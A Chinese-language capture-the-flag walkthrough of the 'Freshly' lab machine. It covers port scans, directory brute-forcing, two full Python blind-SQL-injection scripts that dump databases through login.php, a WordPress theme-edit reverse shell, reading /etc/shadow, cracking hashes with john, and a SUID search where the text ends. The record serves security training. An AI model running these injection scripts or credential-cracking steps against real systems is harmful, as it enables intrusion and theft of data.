Freshly 靶机

Freshly 靶机

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 10000 -p- 192.168.56.136
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 11:55 EDT
Nmap scan report for 192.168.56.136
Host is up (0.00033s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
MAC Address: 08:00:27:AD:0D:F7 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.20 seconds

开放了 80, 443, 8080 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -sC -O -p80,443,8080 192.168.56.136
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 11:56 EDT
Nmap scan report for 192.168.56.136
Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn\'t have a title (text/html).
443/tcp open ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-02-17T03:30:05
|_Not valid after: 2025-02-14T03:30:05
|_http-title: 400 Bad Request
|_http-server-header: Apache
8080/tcp open http Apache httpd
|_http-title: Site doesn\'t have a title (text/html).
|_http-server-header: Apache
MAC Address: 08:00:27:AD:0D:F7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds

Ubuntu 操作系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=vuln -p80,443,8080 192.168.56.136
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 11:56 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.136
Host is up (0.00045s latency).

PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server\'s resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
| /login.php: Possible admin folder
|_ /phpmyadmin/: phpMyAdmin
|_http-csrf: Couldn\'t find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn\'t find any DOM based XSS.
443/tcp open https
|_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities.
| http-cookie-flags:
| /wordpress/:
| PHPSESSID:
| secure flag not set and HTTPS in use
|_ httponly flag not set
| http-enum:
|_ /wordpress/: Blog
|_http-dombased-xss: Couldn\'t find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.136
| Found the following possible CSRF vulnerabilities:
|
| Path: https://192.168.56.136:443/wordpress/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/
| Form id: commentform
| Form action: https://192.168.56.136:443/wordpress/wp-comments-post.php
|
| Path: https://192.168.56.136:443/wordpress/store/cart/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/express/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/receipt/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/checkout/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/
| Form id: cartbuttonform_2
| Form action: https://192.168.56.136:443/wordpress/store/cart/
|
| Path: https://192.168.56.136:443/wordpress/store/
| Form id: cartbuttonform_1
| Form action: https://192.168.56.136:443/wordpress/store/cart/
|
| Path: https://192.168.56.136:443/wordpress/store/ipn/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/
| Form id: commentform
| Form action: https://192.168.56.136:443/wordpress/wp-comments-post.php
|
| Path: https://192.168.56.136:443/wordpress/store/cart/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/express/
| Form id:
| Form action: https://192.168.56.136:443/wordpress/
|
| Path: https://192.168.56.136:443/wordpress/store/receipt/
| Form id:
|_ Form action: https://192.168.56.136:443/wordpress/
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server\'s resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
8080/tcp open http-proxy
| http-cookie-flags:
| /wordpress/:
| PHPSESSID:
| httponly flag not set
| /wordpress/wp-login.php:
| PHPSESSID:
|_ httponly flag not set
| http-enum:
| /wordpress/: Blog
| /wordpress/wp-login.php: Wordpress login page.
|_ /img/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:AD:0D:F7 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 353.41 seconds

有价值的信息主要都是目录

目录爆破

那就8080 和 80 端口着重测试,先进行目录爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.56.136
[sudo] password for kali:

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.56.136/_23-08-20_12-16-46.txt

Error Log: /root/.dirsearch/logs/errors-23-08-20_12-16-46.log

Target: http://192.168.56.136/

[12:16:46] Starting:
[12:16:47] 403 - 292B - /.ht_wsr.txt
[12:16:47] 403 - 295B - /.htaccess.bak1
[12:16:47] 403 - 295B - /.htaccess.orig
[12:16:47] 403 - 297B - /.htaccess.sample
[12:16:47] 403 - 293B - /.htaccessBAK
[12:16:47] 403 - 295B - /.htaccess.save
[12:16:47] 403 - 293B - /.htaccessOLD
[12:16:47] 403 - 295B - /.htaccess_orig
[12:16:47] 403 - 293B - /.htaccess_sc
[12:16:47] 403 - 294B - /.htaccessOLD2
[12:16:47] 403 - 296B - /.htaccess_extra
[12:16:47] 403 - 285B - /.htm
[12:16:47] 403 - 286B - /.html
[12:16:47] 403 - 291B - /.htpasswds
[12:16:47] 403 - 292B - /.httr-oauth
[12:16:47] 403 - 295B - /.htpasswd_test
[12:16:48] 403 - 286B - /.php3
[12:16:48] 403 - 285B - /.php
[12:17:04] 200 - 47B - /index.html
[12:17:04] 301 - 320B - /javascript -> http://192.168.56.136/javascript/
[12:17:05] 200 - 276B - /login.php
[12:17:09] 301 - 320B - /phpmyadmin -> http://192.168.56.136/phpmyadmin/
[12:17:10] 200 - 8KB - /phpmyadmin/
[12:17:10] 200 - 8KB - /phpmyadmin/index.php
[12:17:13] 403 - 294B - /server-status
[12:17:13] 403 - 295B - /server-status/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.56.136:8080
[sudo] password for kali:

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.56.136-8080/_23-08-24_10-08-36.txt

Error Log: /root/.dirsearch/logs/errors-23-08-24_10-08-36.log

Target: http://192.168.56.136:8080/

[10:08:36] Starting:
[10:08:37] 403 - 220B - /.ht_wsr.txt
[10:08:37] 403 - 223B - /.htaccess.bak1
[10:08:37] 403 - 223B - /.htaccess.orig
[10:08:37] 403 - 224B - /.htaccess_extra
[10:08:37] 403 - 223B - /.htaccess.save
[10:08:37] 403 - 225B - /.htaccess.sample
[10:08:37] 403 - 223B - /.htaccess_orig
[10:08:37] 403 - 221B - /.htaccess_sc
[10:08:37] 403 - 221B - /.htaccessOLD
[10:08:37] 403 - 221B - /.htaccessBAK
[10:08:37] 403 - 222B - /.htaccessOLD2
[10:08:37] 403 - 214B - /.html
[10:08:37] 403 - 213B - /.htm
[10:08:37] 403 - 220B - /.httr-oauth
[10:08:37] 403 - 223B - /.htpasswd_test
[10:08:37] 403 - 219B - /.htpasswds
[10:08:39] 403 - 218B - /.user.ini
[10:08:54] 200 - 1KB - /favicon.ico
[10:08:56] 301 - 239B - /img -> http://192.168.56.136:8080/img/
[10:08:56] 200 - 3KB - /index.html
[10:09:12] 200 - 6KB - /wordpress/wp-login.php
[10:09:13] 200 - 16KB - /wordpress/

对 80 端口界面的登录框进行 fuzz(太简陋了感觉可能存在 SQL 注入)

比想象中的简单,看来是盲注

SQL 注入

自己手动用二分法判断 ascii 码,进行了半天,着实难受

参考了这篇文章,修改成了以下脚本:SQL盲注二分法注入脚本 - 菜鸟-传奇 - 博客园 (cnblogs.com)

修改的思路主要是对 payload 和判断条件进行调整,并且为了方便自己以后使用,加入了用户交互的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#-*-coding:utf-8-*-
import requests
import time

host = "http://192.168.56.136/login.php"


def getTable(): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
# url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)
#res = requests.get(url)
payload= "1' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d) # " % (i,mid)
param ={"user":payload,"password":"admin","s":"Submit"}
res = requests.post(host,data=param)
if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)
return ans



def getColumn(table_name): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
#res = requests.get(url)
payload= "1' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s')),%d,1))<%d) #" % (table_name,i,mid)
#print (payload)
param ={"user":payload,"password":"admin","s":"Submit"}
res = requests.post(host,data=param)
#print (res.text)

if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)


def dumpTable(table_name,column_name):#脱裤
global host
ans=''

for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:

payload= "1' or (ascii(substr((select(group_concat(%s))from(%s)),%d,1))<%d) #" % (column_name,table_name,i,mid)

param ={"user":payload,"password":"admin","s":"Submit"}

res = requests.post(host,data=param)
#print(res.text)
if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
#print(mid)
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)




def main():

user_input = input("1: getTable, 2: getColumn, 3: dumpTable. \nplease input the number of what you what:")
print(user_input)
if user_input =="1":
tables_name = getTable()
continue_getdata = input("\nDo you want to continue getting columns ?(please input y or n)\n")
if continue_getdata =="y":
table_name = input("please input the name of table that you want to get:")
getColumn(table_name)
else:
return

continue_getdata = input("\nDo you want to continue getting columns ?(please input y or n)\n")

if continue_getdata =="y":
column_name = input("please input the columns of table that you want to get(use ',' to join different columns):")
dumpTable(table_name,column_name)
else:
return


elif user_input=="2":
table_name = input("please input the name of table that you want to get columns:")
getColumn(table_name)

continue_getdata = input("\nDo you want to continue getting columns ?(please input y or n)\n")

if continue_getdata =="y":
column_name = input("please input the columns of table that you want to get(use ',' to join different columns):")

dumpTable(table_name,column_name)
else:
return

elif user_input=="3":
table_name = input("please input the name of table:")
column_name = input("please input the columns of table (use ',' to join different columns):")
dumpTable(table_name,column_name)

else:
print("check your input")

if __name__ == "__main__":
main()

虽然拿到了数据,但是在这里卡了很久,因为习惯了直接对当前数据库进行注入,这次甚至没遍历有哪些数据库,偷懒+惯性思维导致的信息收集不完全。改进后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#-*-coding:utf-8-*-
import requests
import time

host = "http://192.168.56.136/login.php"

def getDatabase(): #获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#url= host +"?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i,mid)
#res = requests.get(url)
payload= "1' or (ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d) # " % (i,mid)
param ={"user":payload,"password":"admin","s":"Submit"}
res = requests.post(host,data=param)
if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("database is -> "+ans)


def getTable(database_name): #获取表名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
# url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (i,mid)
#res = requests.get(url)
payload= "1' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')),%d,1))<%d) # " % (database_name,i,mid)

#payload= "1' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d) # " % (i,mid)
param ={"user":payload,"password":"admin","s":"Submit"}
res = requests.post(host,data=param)
if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("table is -> "+ans)
return ans



def getColumn(database_name,table_name): #获取列名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)
#res = requests.get(url)
payload= "1' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s' and table_schema = '%s')),%d,1))<%d) #" % (table_name,database_name,i,mid)
#print (payload)
param ={"user":payload,"password":"admin","s":"Submit"}
res = requests.post(host,data=param)
#print (res.text)

if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("column is -> "+ans)


def dumpTable(database_name,table_name,column_name):#脱裤
global host
ans=''

for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:

payload= "1' or (ascii(substr((select(group_concat(%s))from(%s.%s)),%d,1))<%d) #" % (column_name,database_name,table_name,i,mid)

param ={"user":payload,"password":"admin","s":"Submit"}

res = requests.post(host,data=param)
#print(res.text)
if "1" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
#print(mid)
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)




def main():

user_input = input("0:getDatabase, 1: getTable, 2: getColumn, 3: dumpTable. \nplease input the number of what you what:")
print(user_input)
if user_input == "0":
getDatabase()
elif user_input =="1":
database_name = input("please input the name of database that you want to get:")
tables_name = getTable(database_name)
continue_getdata = input("\nDo you want to continue getting columns ?(please input y or n)\n")
if continue_getdata =="y":
table_name = input("please input the name of table that you want to get:")
getColumn(database_name,table_name)
else:
return

continue_getdata = input("\nDo you want to continue getting data ?(please input y or n)\n")

if continue_getdata =="y":
column_name = input("please input the columns of table that you want to get(use ',' to join different columns):")
dumpTable(database_name,table_name,column_name)
else:
return


elif user_input=="2":
database_name = input("please input the name of database that you want to get:")
table_name = input("please input the name of table that you want to get columns:")
getColumn(database_name,table_name)

continue_getdata = input("\nDo you want to continue getting data ?(please input y or n)\n")

if continue_getdata =="y":
column_name = input("please input the columns of table that you want to get(use ',' to join different columns):")

dumpTable(database_name,table_name,column_name)
else:
return

elif user_input=="3":
database_name = input("please input the name of database that you want to get:")
table_name = input("please input the name of table:")
column_name = input("please input the columns of table (use ',' to join different columns):")
dumpTable(database_name,table_name,column_name)

else:
print("check your input")

if __name__ == "__main__":
main()

运行上述脚本即可,修改此脚本的关键点在于修改 payload 变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
database is -> information_schema,login,mysql,performance_schema,phpmyadmin,users,wordpress8080

# wordpress8080数据库的结果
table is -> users

column is -> username,password

dumpTable is -> adminSuperSecretPassword

# login数据库的结果
table is -> user_name,users

column is -> user_name,password

dumpTable is -> candyshoppassword,SirPopRocks

尝试使用上述用户名密码登录 wordpress 后台

后台 getshell

经典编辑 404.php getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
┌──(kali㉿kali)-[~/Downloads/freshly]
└─$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.136] 54506
Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 athlon i686 GNU/Linux
06:52:53 up 2:29, 0 users, load average: 0.00, 0.01, 1.42
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can\'t access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ which python
/usr/bin/python
$ uname -a
Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 athlon i686 GNU/Linux
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:ad:0d:f7 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.136/24 brd 192.168.56.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fead:df7/64 scope link
valid_lft forever preferred_lft forever
$ python -c "import pty;pty.spawn('/bin/bash')"
daemon@Freshly:/$ cd /var/www/html
cd /var/www/html
daemon@Freshly:/var/www/html$ sudo -l
sudo -l
[sudo] password for daemon:

Sorry, try again.
[sudo] password for daemon:

Sorry, try again.
[sudo] password for daemon:

Sorry, try again.
sudo: 3 incorrect password attempts
daemon@Freshly:/var/www/html$ ls -alih
ls -alih
total 1.0M
266919 drwxr-xr-x 2 root root 4.0K Feb 17 2015 .
266918 drwxr-xr-x 3 root root 4.0K Feb 16 2015 ..
272717 -rw-r--r-- 1 root root 47 Feb 17 2015 index.html
136671 -rw-r--r-- 1 root root 609 Feb 17 2015 login.php
275638 -rw-r--r-- 1 root root 1008K Nov 12 2012 tumblr_mdeo27ZZjB1r6pf3eo1_500.gif
daemon@Freshly:/var/www/html$ cat login.php
cat login.php
<?php
mysql_connect('localhost','root','SuperSecretPassword');
mysql_select_db('login');
?>

<form action="" method="post">
<table width="50%">
<tr>
<td>User</td>
<td><input type="text" name="user"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
</table>
<input type="submit" value="Submit" name="s">
</form>

<?php
if($_POST['s']){
$user = $_POST['user'];
$pass = $_POST['password'];
$re = mysql_query("select * from users where user_name = '$user' and password = '$pass'");

if(mysql_num_rows($re) == 0){
echo '0';
}else{
echo '1';
}
}
?>

最最基础的信息收集,不过只发现了数据库密码和 wordpress 登录密码相同

提权

看看家目录判断有哪些用户,以及是否有敏感文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
daemon@Freshly:/var/www/html$ ls -alih /home
ls -alih /home
total 12K
523266 drwxr-xr-x 3 root root 4.0K Feb 16 2015 .
2 drwxr-xr-x 21 root root 4.0K Feb 16 2015 ..
523424 drwxr-xr-x 3 user user 4.0K Feb 17 2015 user
daemon@Freshly:/var/www/html$ cd /home/user
cd /home/user
daemon@Freshly:/home/user$ ls -laih
ls -laih
total 92M
523424 drwxr-xr-x 3 user user 4.0K Feb 17 2015 .
523266 drwxr-xr-x 3 root root 4.0K Feb 16 2015 ..
523349 -rw------- 1 user user 1.5K Feb 20 2015 .bash_history
523426 -rw-r--r-- 1 user user 220 Feb 16 2015 .bash_logout
523427 -rw-r--r-- 1 user user 3.6K Feb 16 2015 .bashrc
523324 drwx------ 2 user user 4.0K Feb 16 2015 .cache
523425 -rw-r--r-- 1 user user 675 Feb 16 2015 .profile
523327 -rw------- 1 root root 1.0K Feb 16 2015 .rnd
523326 -rwxr-xr-x 1 root root 92M Dec 18 2014 bitnami-wordpress-4.1-0-linux-installer.run

user 用户家目录没有可读写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
daemon@Freshly:/tmp$ ls -alih /etc/passwd
ls -alih /etc/passwd
787781 -rw-r--r-- 1 root root 1.3K Feb 20 2015 /etc/passwd
daemon@Freshly:/tmp$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
# YOU STOLE MY SECRET FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"

最后两行似乎是暗示,但是这个文件只是可读文件不可写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
daemon@Freshly:/tmp$ ls -alih /etc/shadow
ls -alih /etc/shadow
786885 -rwxr-xr-x 1 root shadow 1.1K Feb 17 2015 /etc/shadow
daemon@Freshly:/tmp$ cat /etc/shadow
cat /etc/shadow
root:$6$If.Y9A3d$L1/qOTmhdbImaWb40Wit6A/wP5tY5Ia0LB9HvZvl1xAGFKGP5hm9aqwvFtDIRKJaWkN8cuqF6wMvjl1gxtoR7/:16483:0:99999:7:::
daemon:*:16483:0:99999:7:::
bin:*:16483:0:99999:7:::
sys:*:16483:0:99999:7:::
sync:*:16483:0:99999:7:::
games:*:16483:0:99999:7:::
man:*:16483:0:99999:7:::
lp:*:16483:0:99999:7:::
mail:*:16483:0:99999:7:::
news:*:16483:0:99999:7:::
uucp:*:16483:0:99999:7:::
proxy:*:16483:0:99999:7:::
www-data:*:16483:0:99999:7:::
backup:*:16483:0:99999:7:::
list:*:16483:0:99999:7:::
irc:*:16483:0:99999:7:::
gnats:*:16483:0:99999:7:::
nobody:*:16483:0:99999:7:::
libuuid:!:16483:0:99999:7:::
syslog:*:16483:0:99999:7:::
messagebus:*:16483:0:99999:7:::
user:$6$MuqQZq4i$t/lNztnPTqUCvKeO/vvHd9nVe3yRoES5fEguxxHnOf3jR/zUl0SFs825OM4MuCWlV7H/k2QCKiZ3zso.31Kk31:16483:0:99999:7:::
mysql:!:16483:0:99999:7:::
candycane:$6$gfTgfe6A$pAMHjwh3aQV1lFXtuNDZVYyEqxLWd957MSFvPiPaP5ioh7tPOwK2TxsexorYiB0zTiQWaaBxwOCTRCIVykhRa/:16483:0:99999:7:::
# YOU STOLE MY PASSWORD FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"

shadow 文件也可读,将其 copy 下来放到 john 中爆破

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads/freshly]
└─$ sudo john rootpasswd --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (candycane)

很快爆破出 candycane 的密码是 password,切换登录到 candycane

1
2
3
4
5
6
7
daemon@Freshly:/tmp$ su candycane
su candycane
Password: password

candycane@Freshly:/tmp$ id
id
uid=1001(candycane) gid=1001(candycane) groups=1001(candycane)

查看定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
candycane@Freshly:/tmp$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

查看 SUID 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
candycane@Freshly:/home$ find / -type f -perm -04000 -ls 2>/dev/null
